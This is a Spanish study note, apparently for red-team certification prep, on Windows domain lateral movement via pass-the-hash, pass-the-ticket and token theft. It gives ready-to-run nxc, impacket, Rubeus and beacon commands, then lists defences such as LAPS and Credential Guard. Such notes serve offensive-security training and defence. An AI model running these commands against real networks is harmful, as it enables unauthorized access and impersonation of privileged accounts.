Pass-the-Hash, Pass-the-Ticket y robo de token

Cuando ya tengo credenciales de otro usuario (un hash, una clave AES o un ticket), estas técnicas sirven para usarlas sin conocer la contraseña en texto y moverme por el dominio.

Pass-the-Hash (PtH)

El hash NTLM basta para autenticarse en servicios que usan NTLM. No hay que crackearlo.

# Desde Kali: comprobar dónde vale el hash y ejecutar
nxc smb 10.10.10.0/24 -u Administrador -H <hash_NTLM>
impacket-psexec corp.local/Administrador@dc01 -hashes :<hash_NTLM>
impacket-wmiexec corp.local/Administrador@dc01 -hashes :<hash_NTLM>

Desde un beacon (CRTO) es pth DOMINIO\usuario <hash>, que crea una sesión de red con ese hash. Requiere beacon de integridad alta.

Pass-the-Ticket (PtT)

Si tengo el hash o la clave AES de un usuario, puedo pedir su TGT legítimamente y usarlo; o robar un ticket que ya esté en memoria y reinyectarlo.

# Pedir un TGT con la clave AES (preferible a RC4) e inyectarlo
beacon> execute-assembly C:\Tools\Rubeus\Rubeus.exe asktgt /user:rsteel /domain:CORP.LOCAL /aes256:<clave> /nowrap

Robar tickets de memoria (triage / dump) exige integridad alta; después se reinyectan en una sesión nueva para hacerse pasar por ese usuario a nivel de red.

Robo de token (impersonation)

En Windows, un proceso lleva un token que dice en nombre de quién actúa.

Técnica	Idea	Requiere
make_token	Credenciales en mano: parezco ese usuario solo a nivel de red	Nada especial
steal_token	Robo el token de un proceso que ya corre otro usuario	Integridad alta
Process injection	Inyecto mi beacon en un proceso de otro usuario	Integridad alta

beacon> ps                 # busco un proceso de un usuario interesante
beacon> steal_token <PID>
beacon> rev2self           # vuelvo a mi token original

Cómo se defiende

• LAPS (contraseña de admin local distinta por equipo) evita que un hash valga en toda la red.
• Separar cuentas de administración y usar Protected Users y Credential Guard.
• Preferir que los servicios usen Kerberos con AES, no NTLM.
• Vigilar inicios de sesión de red (tipo 3) con cuentas privilegiadas desde equipos raros.